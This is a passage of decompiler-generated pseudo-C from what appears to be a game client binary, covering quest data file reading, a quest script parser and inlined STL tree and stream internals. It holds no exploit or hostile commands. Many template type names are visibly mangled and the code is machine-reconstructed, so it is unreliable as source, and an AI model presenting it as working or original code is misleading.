ecx@14 int v18; // edi@14 v2 = this; CQuestData::ClearBF(this); result = (int)fopen(pFN, "rb"); v4 = result; if ( !result ) { v2->m_ReadError = 1; return result; } v5 = fileno((_iobuf *)result); v6 = filelength(v5); v7 = operator new(4u); v2->m_pDataHead = (QUEST_DATA_HEAD *)v7; if ( fread(v7, 4u, 1u, (_iobuf *)v4) != 1 ) { v2->m_ReadError = 2; ERROR_READ: CQuestData::ClearBF(v2); fclose((_iobuf *)v4); return 0; } if ( v2->m_pDataHead->VersionNo != 6 ) { v2->m_ReadError = 3; goto ERROR_READ; } v8 = v6 - 4; v9 = operator new__(v8); v2->m_pBF = (char *)v9; if ( fread(v9, v8, 1u, (_iobuf *)v4) != 1 ) { v2->m_ReadError = 4; goto ERROR_READ; } v10 = operator new__(4 * v2->m_pDataHead->NumOfQuest); v11 = v2->m_pDataHead; v2->m_ppQuestDataArray = (QUEST_DATA **)v10; v12 = 4 * v11->NumOfQuest; memset(v10, 0, 4 * (v12 >> 2)); v13 = (int)((char *)v10 + 4 * (v12 >> 2)); for ( i = v12 & 3; i; --i ) *(_BYTE *)v13++ = 0; v15 = v2->m_pBF; v16 = 0; if ( v2->m_pDataHead->NumOfQuest ) { do { v2->m_ppQuestDataArray[v16] = (QUEST_DATA *)v15; *((_DWORD *)v15 + 165) = v15 + 676; v17 = *((_WORD *)v15 + 326); *((_DWORD *)v15 + 166) = &v15[v17 + 676]; v18 = *((_WORD *)v15 + 328); *((_DWORD *)v15 + 167) = &v15[v17 + 676] + v18; ++v16; v15 += v17 + v18 + *((_WORD *)v15 + 327) + 672; } while ( v16 < v2->m_pDataHead->NumOfQuest ); } fclose((_iobuf *)v4); v2->m_ReadError = 0; CQuestData::QuestData_HashDataIn(v2); return 1; } //----- (005F8A20) -------------------------------------------------------- int __thiscall CQuestData::ReadModeEdit(CQuestData *this, const char *pFN) { CQuestData *v2; // ebx@1 int result; // eax@1 int v4; // ebp@1 int v5; // eax@3 void *v6; // eax@3 QUEST_DATA_HEAD *v7; // eax@6 void *v8; // eax@8 QUEST_DATA_HEAD *v9; // edx@8 void *v10; // esi@9 int v11; // edi@9 void *v12; // eax@10 unsigned int v13; // ST14_4@10 void *v14; // eax@10 unsigned int v15; // ST04_4@10 void *v16; // ST00_4@10 int pFNa; // [sp+Ch] [bp+4h]@8 v2 = this; CQuestData::ClearBF(this); result = (int)fopen(pFN, "rb"); v4 = result; if ( !result ) { v2->m_ReadError = 1; return result; } v5 = fileno((_iobuf *)result); filelength(v5); v6 = operator new(4u); v2->m_pDataHead = (QUEST_DATA_HEAD *)v6; if ( fread(v6, 4u, 1u, (_iobuf *)v4) != 1 ) { v2->m_ReadError = 2; ERROR_READ_0: CQuestData::ClearBF(v2); fclose((_iobuf *)v4); return 0; } v7 = v2->m_pDataHead; if ( v7->VersionNo != 6 ) { v2->m_ReadError = 3; goto ERROR_READ_0; } v8 = operator new__(4 * v7->NumOfQuest); v9 = v2->m_pDataHead; v2->m_ppQuestDataArray = (QUEST_DATA **)v8; v2->m_ReadError = 4; pFNa = 0; if ( v9->NumOfQuest ) { do { v10 = operator new(0x2A0u); memset(v10, 0, 0x2A0u); v11 = pFNa; v2->m_ppQuestDataArray[pFNa] = (QUEST_DATA *)v10; if ( fread(v10, 0x2A0u, 1u, (_iobuf *)v4) != 1 ) goto ERROR_READ_0; v12 = operator new__(*((_WORD *)v10 + 326)); v13 = *((_WORD *)v10 + 328); *((_DWORD *)v10 + 165) = v12; *((_DWORD *)v10 + 166) = operator new__(v13); v14 = operator new__(*((_WORD *)v10 + 327)); v15 = *((_WORD *)v10 + 326); v16 = (void *)*((_DWORD *)v10 + 165); *((_DWORD *)v10 + 167) = v14; if ( fread(v16, v15, 1u, (_iobuf *)v4) != 1 ) goto ERROR_READ_0; if ( fread(*((void **)v10 + 166), *((_WORD *)v10 + 328), 1u, (_iobuf *)v4) != 1 || fread(*((void **)v10 + 167), *((_WORD *)v10 + 327), 1u, (_iobuf *)v4) != 1 ) goto ERROR_READ_0; *(_DWORD *)v10 = *((_WORD *)v10 + 326) + *((_WORD *)v10 + 327) + *((_WORD *)v10 + 328) + 672; ++pFNa; } while ( v11 + 1 < (unsigned int)v2->m_pDataHead->NumOfQuest ); } fclose((_iobuf *)v4); v2->m_ReadError = 0; CQuestData::QuestData_HashDataIn(v2); return 1; } //----- (005F8C20) -------------------------------------------------------- int __thiscall CQuestData::Read(CQuestData *this, const char *pFN, int bReadonly) { int result; // eax@2 this->m_bReadonly = bReadonly; if ( bReadonly ) result = CQuestData::ReadModeRead(this, pFN); else result = CQuestData::ReadModeEdit(this, pFN); return result; } //----- (005F8C50) -------------------------------------------------------- void __thiscall CQuestParserScript::CQuestParserScript(CQuestParserScript *this) { CQuestParserScript *v1; // esi@1 CToken *v2; // edi@1 v1 = this; v2 = &this->m_Token; this->vfptr = (CQuestParserScriptVtbl *)&CQuestParserScript::_vftable_; CToken::CToken(&this->m_Token); v1->m_QSC.IsPigeonStartType = 0; v1->m_ppQSC = gpQSC; v1->m_ppQSV = gpQSV; v1->m_ppQSAE = gpQSAE; v1->m_ppQST = gpQST; v1->m_ppQSIL = gpQSIL; CToken::SetSeprator(v2, " ,\t\r\n"); } // 689BD8: using guessed type int (__thiscall *CQuestParserScript___vftable_)(CQuestParserScript *this, int pCmd); //----- (005F8CD0) -------------------------------------------------------- int __thiscall CQuestParserScript::IsDigitStr(CQuestParserScript *this, const char *pStr) { unsigned int *v2; // esi@1 char v3; // al@3 v2 = (unsigned int *)pStr; if ( pStr ) { while ( _ismbcdigit(*(_BYTE *)v2) ) { v3 = *((_BYTE *)v2 + 1); v2 = (unsigned int *)((char *)v2 + 1); if ( !v3 ) return 1; } } return 0; } //----- (005F8D10) -------------------------------------------------------- const char *__thiscall CQuestParserScript::MarkGet(CQuestParserScript *this, const char *pMarkName) { CQuestParserScript *v2; // edi@1 int v3; // esi@1 const char *v4; // ebx@2 const char *result; // eax@5 v2 = this; v3 = 0; if ( this->m_NumOfMark <= 0 ) { LABEL_5: result = 0; } else { v4 = (const char *)this->m_Mark; while ( _mbsicmp(v4, pMarkName) ) { ++v3; v4 += 20; if ( v3 >= v2->m_NumOfMark ) goto LABEL_5; } result = v2->m_Mark[v3].pMarkPoint; } return result; } //----- (005F8D60) -------------------------------------------------------- int __thiscall CQuestParserScript::MarkGo(CQuestParserScript *this, const char *pMarkName) { CQuestParserScript *v2; // esi@1 int result; // eax@1 v2 = this; result = (int)CQuestParserScript::MarkGet(this, pMarkName); if ( result ) result = CToken::RestoreTokenPositon(&v2->m_Token, (const char *)result); return result; } //----- (005F8D90) -------------------------------------------------------- void __thiscall CQuestParserScript::ParserClose(CQuestParserScript *this) { CToken::Close(&this->m_Token); } //----- (005F8DA0) -------------------------------------------------------- int __thiscall CQuestParserScript::GetScriptVariableValue(CQuestParserScript *this, unsigned int *pValue, unsigned __int16 nQuestID, QUEST_SCRIPT_VARIABLE VarID, unsigned int Value) { int result; // eax@2 PLAYER_QUEST_INFO *v6; // eax@3 switch ( VarID ) { case 0: case 1: case 2: case 3: case 4: case 5: *pValue = this->m_Var[VarID]; result = 1; break; case 6: v6 = CQuest::GetQuestInfo(this->m_pQuest, this->m_QuestID); if ( !v6 ) goto LABEL_6; *pValue = v6->Data.ProgressStep; goto $L87943; case 7: $L87943: *pValue = Value; result = 1; break; default: LABEL_6: result = 0; break; } return result; } //----- (005F8E20) -------------------------------------------------------- std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Max(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (005F8E40) -------------------------------------------------------- std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Min(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (005F8E60) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::const_iterator::_Inc(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this) { std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v1; // eax@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v2; // edx@2 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st j; // eax@3 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st i; // eax@6 v1 = *this; if ( !*(_BYTE *)(*this + 45) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 45) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 45); i = *(_DWORD *)(i + 4) ) { if ( *this != *(_DWORD *)(i + 8) ) break; *this = i; } *this = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 45); j = *(_DWORD *)j ) v2 = j; *this = v2; } } } //----- (005F8EC0) -------------------------------------------------------- void __thiscall CQuestParserScript::_CQuestParserScript(CQuestParserScript *this) { CToken *v1; // esi@1 this->vfptr = (CQuestParserScriptVtbl *)&CQuestParserScript::_vftable_; v1 = &this->m_Token; CToken::Close(&this->m_Token); CToken::_CToken(v1); } // 689BD8: using guessed type int (__thiscall *CQuestParserScript___vftable_)(CQuestParserScript *this, int pCmd); //----- (005F8F20) -------------------------------------------------------- int __thiscall CQuestParserScript::MarkAdd(CQuestParserScript *this, const char *pMarkName, const char *pMarkPoint) { CQuestParserScript *v3; // esi@1 signed int v4; // eax@2 int result; // eax@3 int v6; // eax@4 v3 = this; if ( CQuestParserScript::MarkGet(this, pMarkName) || (v4 = v3->m_NumOfMark, v4 >= 64) ) { result = 0; } else { v6 = (int)((char *)v3 + 4 * (5 * v4 + 15)); *(_DWORD *)v6 = 0; *(_DWORD *)(v6 + 4) = 0; *(_DWORD *)(v6 + 8) = 0; *(_DWORD *)(v6 + 12) = 0; _mbsnbcpy((char *)v3 + 20 * (v3->m_NumOfMark + 3), pMarkName, 0xFu); v3->m_Mark[v3->m_NumOfMark++].pMarkPoint = pMarkPoint; result = 1; } return result; } //----- (005F8F90) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lrotate(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (005F8FF0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Rrotate(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (005F9050) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this) { std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v1; // eax@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v2; // edx@3 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st i; // eax@4 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v4; // eax@7 v1 = *this; if ( *(_BYTE *)(*this + 45) ) { *this = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 45) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 45) ) { do { if ( *this != *(_DWORD *)v4 ) break; *this = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 45) ); if ( !*(_BYTE *)(v4 + 45) ) *this = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 45); i = *(_DWORD *)(i + 8) ) v2 = i; *this = v2; } } } //----- (005F90B0) -------------------------------------------------------- std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Buynode(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this) { std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Left = 0; if ( result != (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Parent = 0; if ( result != (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (005F90F0) -------------------------------------------------------- std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lbound(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::basic_string,std::allocator > *_Keyval) { std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Parent; _Wherenode = (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Isnil ) { v4 = _Keyval->_Mysize; v5 = (char *)&_Keyval->_Bx; v14 = _Keyval->_Myres; for ( _Keyvala = (char *)&_Keyval->_Bx; ; v5 = _Keyvala ) { if ( v14 < 0x10 ) v6 = v5; else v6 = *(const char **)v5; v7 = v3->_Myval.first._Mysize; if ( !v7 ) goto LABEL_23; v8 = v3->_Myval.first._Mysize; if ( v7 >= v4 ) v8 = v4; v9 = (const char *)(v3->_Myval.first._Myres < 0x10 ? &v3->_Myval.first._Bx : *(_DWORD *)&v3->_Myval.first._Bx._Buf[0]); v10 = strncmp(v9, v6, v8); v12 = 0; v11 = v10 < 0; if ( !v10 ) { LABEL_23: if ( v7 < v4 ) goto LABEL_17; v12 = 0; v11 = (v7 != v4) < 0; } if ( v11 ^ v12 ) { LABEL_17: v3 = v3->_Right; goto LABEL_19; } _Wherenode = v3; v3 = v3->_Left; LABEL_19: if ( v3->_Isnil ) return _Wherenode; } } return result; } //----- (005F91B0) -------------------------------------------------------- std::basic_istream > *__thiscall std::basic_istream>::operator>>(std::basic_istream > *this, int *_Val) { std::basic_istream > *v2; // esi@1 int v3; // ecx@2 std::locale *v4; // eax@2 void *v5; // eax@2 std::locale v6; // edi@2 void *v7; // ebx@2 unsigned int v8; // eax@3 int v9; // edi@6 int v10; // edx@8 int v11; // ecx@8 int v12; // eax@8 int v13; // edx@8 int v14; // edx@8 int v15; // ecx@14 int v16; // eax@15 int v17; // eax@18 int v19; // [sp+0h] [bp-48h]@1 char v20; // [sp+Ch] [bp-3Ch]@8 int v21; // [sp+10h] [bp-38h]@8 int _Ok; // [sp+14h] [bp-34h]@1 char v23; // [sp+18h] [bp-30h]@1 void *_Nget_fac; // [sp+1Ch] [bp-2Ch]@2 std::_Lockit thisa; // [sp+24h] [bp-24h]@3 std::locale result; // [sp+28h] [bp-20h]@2 int _Tmp; // [sp+2Ch] [bp-1Ch]@2 std::basic_istream > *v28; // [sp+30h] [bp-18h]@1 int _State; // [sp+34h] [bp-14h]@1 int *v30; // [sp+38h] [bp-10h]@1 int v31; // [sp+44h] [bp-4h]@1 v30 = &v19; v2 = this; v28 = this; _State = 0; std::basic_istream>::sentry::sentry( (std::basic_istream >::sentry *)&_Ok, this, 0); v31 = 0; if ( v23 ) { v3 = *(_DWORD *)&v2->gap0[0]; _Tmp = 0; v4 = std::ios_base::getloc((std::ios_base *)((char *)v2 + *(_DWORD *)(v3 + 4)), &result); LOBYTE(v31) = 1; v5 = std::use_facet>>>(v4); v6 = result; v7 = v5; _Nget_fac = v5; LOBYTE(v31) = 0; if ( result ) { std::_Lockit::_Lockit(&thisa, 0); v8 = *(_DWORD *)(*(_DWORD *)&v6 + 4); if ( v8 && v8 < 0xFFFFFFFF ) *(_DWORD *)(*(_DWORD *)&v6 + 4) = v8 - 1; v9 = ((*(_DWORD *)(*(_DWORD *)&v6 + 4) != 0) - 1) & *(_DWORD *)&v6; std::_Lockit::__Lockit(&thisa); if ( v9 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v9)(v9, 1); } v10 = *(_DWORD *)(*(_DWORD *)&v2->gap0[0] + 4); v11 = *(_DWORD *)&v2->gap8[v10 + 32]; v12 = (int)((char *)v2 + v10); LOBYTE(v21) = v11 == 0; v13 = *(_DWORD *)v7; LOBYTE(thisa._Locktype) = 1; LOBYTE(v31) = 2; (*(void (__thiscall **)(void *, char *, int, int, _DWORD, int, int, int *, int *))(v13 + 32))( _Nget_fac, &v20, v11, v21, 0, thisa._Locktype, v12, &_State, &_Tmp); v14 = _State; v31 = 0; if ( _State & 2 || _Tmp < -2147483648 || _Tmp > 2147483647 ) { v14 = _State | 2; _State |= 2u; } else { *_Val = _Tmp; } } else { v14 = _State; } v15 = (int)((char *)v2 + *(_DWORD *)(*(_DWORD *)&v2->gap0[0] + 4)); if ( v14 ) { v16 = v14 | *(_DWORD *)(v15 + 8); if ( !*(_DWORD *)(v15 + 40) ) v16 |= 4u; std::ios_base::clear((std::ios_base *)v15, v16, 0); } v17 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)_Ok + 4) + _Ok + 40); v31 = -1; if ( v17 ) std::_Mutex::_Unlock((std::_Mutex *)(v17 + 4)); return v2; } //----- (005F9360) -------------------------------------------------------- std::basic_istream > *__cdecl std::operator>>_std::allocator>(std::basic_istream > *_Istr, std::basic_string,std::allocator > *_Str) { int v2; // ebx@1 std::locale *v3; // eax@2 void *v4; // eax@2 std::locale v5; // edi@2 unsigned int v6; // eax@3 int v7; // edi@6 int v8; // edx@8 unsigned int v9; // eax@8 signed int v10; // edi@9 int v11; // ecx@11 int *v12; // eax@11 int v13; // eax@13 std::basic_streambuf > *v14; // ecx@19 char *v15; // ecx@22 int v16; // eax@23 int v17; // eax@26 int v19; // [sp+0h] [bp-38h]@1 int _Ok; // [sp+Ch] [bp-2Ch]@1 char v21; // [sp+10h] [bp-28h]@1 void *_Ctype_fac; // [sp+14h] [bp-24h]@2 std::_Lockit this; // [sp+18h] [bp-20h]@3 std::locale result; // [sp+1Ch] [bp-1Ch]@2 int _State; // [sp+20h] [bp-18h]@1 char _Changed; // [sp+27h] [bp-11h]@1 int *v27; // [sp+28h] [bp-10h]@1 int v28; // [sp+34h] [bp-4h]@1 v2 = 0; v27 = &v19; _State = 0; _Changed = 0; std::basic_istream>::sentry::sentry( (std::basic_istream >::sentry *)&_Ok, _Istr, 0); v28 = 0; if ( v21 ) { v3 = std::ios_base::getloc((std::ios_base *)((char *)_Istr + *(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4)), &result); LOBYTE(v28) = 1; v4 = std::use_facet>(v3); v5 = result; _Ctype_fac = v4; LOBYTE(v28) = 0; if ( result ) { std::_Lockit::_Lockit(&this, 0); v6 = *(_DWORD *)(*(_DWORD *)&v5 + 4); if ( v6 && v6 < 0xFFFFFFFF ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v6 - 1; v7 = ((*(_DWORD *)(*(_DWORD *)&v5 + 4) != 0) - 1) & *(_DWORD *)&v5; std::_Lockit::__Lockit(&this); if ( v7 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v7)(v7, 1); } std::basic_string_std::allocator>::erase(_Str, 0, 0xFFFFFFFFu); v8 = *(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4); v9 = *(_DWORD *)&_Istr->gap8[v8 + 16]; LOBYTE(v28) = 2; if ( (signed int)v9 <= 0 || (v10 = v9, v9 >= 0xFFFFFFFE) ) v10 = -2; v11 = *(_DWORD *)&_Istr->gap8[v8 + 32]; v12 = (int *)**(_DWORD **)(v11 + 32); if ( v12 && (v2 = _State, **(_DWORD **)(v11 + 32) < (unsigned int)(**(_DWORD **)(v11 + 32) + **(_DWORD **)(v11 + 48))) ) v13 = *(_BYTE *)v12; else v13 = (*(int (**)(void))(*(_DWORD *)v11 + 16))(); while ( v10 ) { if ( v13 == -1 ) { v2 |= 1u; break; } if ( *(_BYTE *)(*((_DWORD *)_Ctype_fac + 4) + 2 * (unsigned __int8)v13) & 0x48 ) break; std::basic_string_std::allocator>::append(_Str, 1u, v13); v14 = *(std::basic_streambuf > **)&_Istr->gap8[*(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4) + 32]; _Changed = 1; --v10; v13 = std::basic_streambuf>::snextc(v14); } } *(_DWORD *)&_Istr->gap8[*(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4) + 16] = 0; v28 = 0; if ( !_Changed ) v2 |= 2u; v15 = (char *)_Istr + *(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4); if ( v2 ) { v16 = v2 | *((_DWORD *)v15 + 2); if ( !*((_DWORD *)v15 + 10) ) v16 |= 4u; std::ios_base::clear((std::ios_base *)v15, v16, 0); } v17 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)_Ok + 4) + _Ok + 40); v28 = -1; if ( v17 ) std::_Mutex::_Unlock((std::_Mutex *)(v17 + 4)); return _Istr; } //----- (005F9540) -------------------------------------------------------- std::basic_istream > *__cdecl std::getline_std::allocator>(std::basic_istream > *_Istr, std::basic_string,std::allocator > *_Str, const char _Delim) { int v3; // ebx@1 int v4; // ecx@2 int **v5; // edx@2 int v6; // eax@4 int v7; // ecx@9 int v8; // eax@9 bool v9; // zf@9 std::basic_streambuf > *v10; // ecx@15 char *v11; // ecx@18 int v12; // eax@19 int v13; // eax@22 int v15; // [sp+0h] [bp-2Ch]@1 int _Ok; // [sp+Ch] [bp-20h]@1 char v17; // [sp+10h] [bp-1Ch]@1 int _State; // [sp+14h] [bp-18h]@1 char _Changed; // [sp+1Bh] [bp-11h]@1 int *v20; // [sp+1Ch] [bp-10h]@1 int v21; // [sp+28h] [bp-4h]@1 v20 = &v15; v3 = 0; _State = 0; _Changed = 0; std::basic_istream>::sentry::sentry( (std::basic_istream >::sentry *)&_Ok, _Istr, 1); v21 = 0; if ( v17 ) { LOBYTE(v21) = 1; std::basic_string_std::allocator>::erase(_Str, 0, 0xFFFFFFFFu); v4 = *(_DWORD *)&_Istr->gap8[*(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4) + 32]; v5 = *(int ***)(v4 + 32); if ( *v5 && (v3 = _State, *v5 < (int *)((char *)*v5 + **(_DWORD **)(v4 + 48))) ) v6 = *(_BYTE *)*v5; else v6 = (*(int (**)(void))(*(_DWORD *)v4 + 16))(); while ( 1 ) { if ( v6 == -1 ) { v3 |= 1u; goto LABEL_16; } if ( v6 == _Delim ) break; if ( _Str->_Mysize >= 0xFFFFFFFE ) { v3 |= 2u; goto LABEL_16; } std::basic_string_std::allocator>::append(_Str, 1u, v6); v10 = *(std::basic_streambuf > **)&_Istr->gap8[*(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4) + 32]; _Changed = 1; v6 = std::basic_streambuf>::snextc(v10); } v7 = *(_DWORD *)&_Istr->gap8[*(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4) + 32]; v8 = *(_DWORD *)(v7 + 32); v9 = *(_DWORD *)v8 == 0; _Changed = 1; if ( v9 || *(_DWORD *)v8 >= (unsigned int)(*(_DWORD *)v8 + **(_DWORD **)(v7 + 48)) ) { (*(void (**)(void))(*(_DWORD *)v7 + 20))(); } else { --**(_DWORD **)(v7 + 48); ++**(_DWORD **)(v7 + 32); } } LABEL_16: v21 = 0; if ( !_Changed ) v3 |= 2u; v11 = (char *)_Istr + *(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4); if ( v3 ) { v12 = v3 | *((_DWORD *)v11 + 2); if ( !*((_DWORD *)v11 + 10) ) v12 |= 4u; std::ios_base::clear((std::ios_base *)v11, v12, 0); } v13 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)_Ok + 4) + _Ok + 40); v21 = -1; if ( v13 ) std::_Mutex::_Unlock((std::_Mutex *)(v13 + 4)); return _Istr; } //----- (005F96D0) -------------------------------------------------------- int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::find(...) { std::basic_string,std::allocator > *v3; // edi@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v4; // esi@1 std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v8; // eax@6 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st _Keyvala; // [sp+Ch] [bp+8h]@1 v3 = _Keyval; v4 = this; v5 = std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lbound( this, _Keyval); _Keyvala = (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st)v5; if ( v5 == *((std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Myval.first._Mysize, v5->_Myval.first._Myres < 0x10) ? (v7 = (const char *)&v5->_Myval.first._Bx) : (v7 = *(const char **)&v5->_Myval.first._Bx._Buf[0]), std::basic_string_std::allocator>::compare(v3, 0, v3->_Mysize, v7, v6) < 0) ) { v8 = result; *result = *((_DWORD *)v4 + 1); } else { v8 = result; *result = _Keyvala; } return v8; } //----- (005F9740) -------------------------------------------------------- bool __cdecl CQuestParserScript::GetIDbyIndex(std::basic_string,std::allocator > *rstrIndexName, int *rnID) { int v2; // ecx@0 bool result; // al@2 int find_iter; // [sp+0h] [bp-4h]@1 find_iter = v2; std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::find( &CQuestParserScript::m_MapConvertIndexNames, (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *)&find_iter, rstrIndexName); if ( find_iter == dword_1535F3E4 ) { result = 0; } else { *rnID = *(_DWORD *)(find_iter + 40); result = 1; } return result; } // 1535F3E4: using guessed type int dword_1535F3E4; //----- (005F9780) -------------------------------------------------------- int std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::_Node(...) { std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Parent = _Parg; v7 = (char *)&this->_Myval; this->_Left = _Larg; this->_Right = _Rarg; this->_Myval.first._Myres = 15; this->_Myval.first._Mysize = 0; this->_Myval.first._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &this->_Myval.first, &_Val->first, 0, 0xFFFFFFFFu); *((_DWORD *)v7 + 7) = _Val->second; v6->_Color = _Carg; v6->_Isnil = 0; } //----- (005F97E0) -------------------------------------------------------- std::pair,std::allocator >,int> *__cdecl std::make_pair_std::allocator>_int>(std::pair,std::allocator >,int> *result, std::basic_string,std::allocator > _Val1, int _Val2) { bool v3; // cf@1 std::pair,std::allocator >,int> *v4; // eax@3 int v5; // [sp+4h] [bp-14h]@1 unsigned int v6; // [sp+8h] [bp-10h]@1 int v7; // [sp+14h] [bp-4h]@1 v6 = (unsigned int)&v5 ^ __security_cookie; v5 = 0; result->first._Mysize = 0; result->first._Myres = 15; v7 = 0; result->first._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&result->first, &_Val1, 0, 0xFFFFFFFFu); v3 = _Val1._Myres < 0x10; result->second = _Val2; if ( !v3 ) operator delete(*(void **)&_Val1._Bx._Buf[0]); __security_check_cookie((unsigned int)&v5 ^ v6); return v4; } //----- (005F9870) -------------------------------------------------------- STRUCT_QSC *__thiscall CQuestParserScript::ParserNext(CQuestParserScript *this) { CQuestParserScript 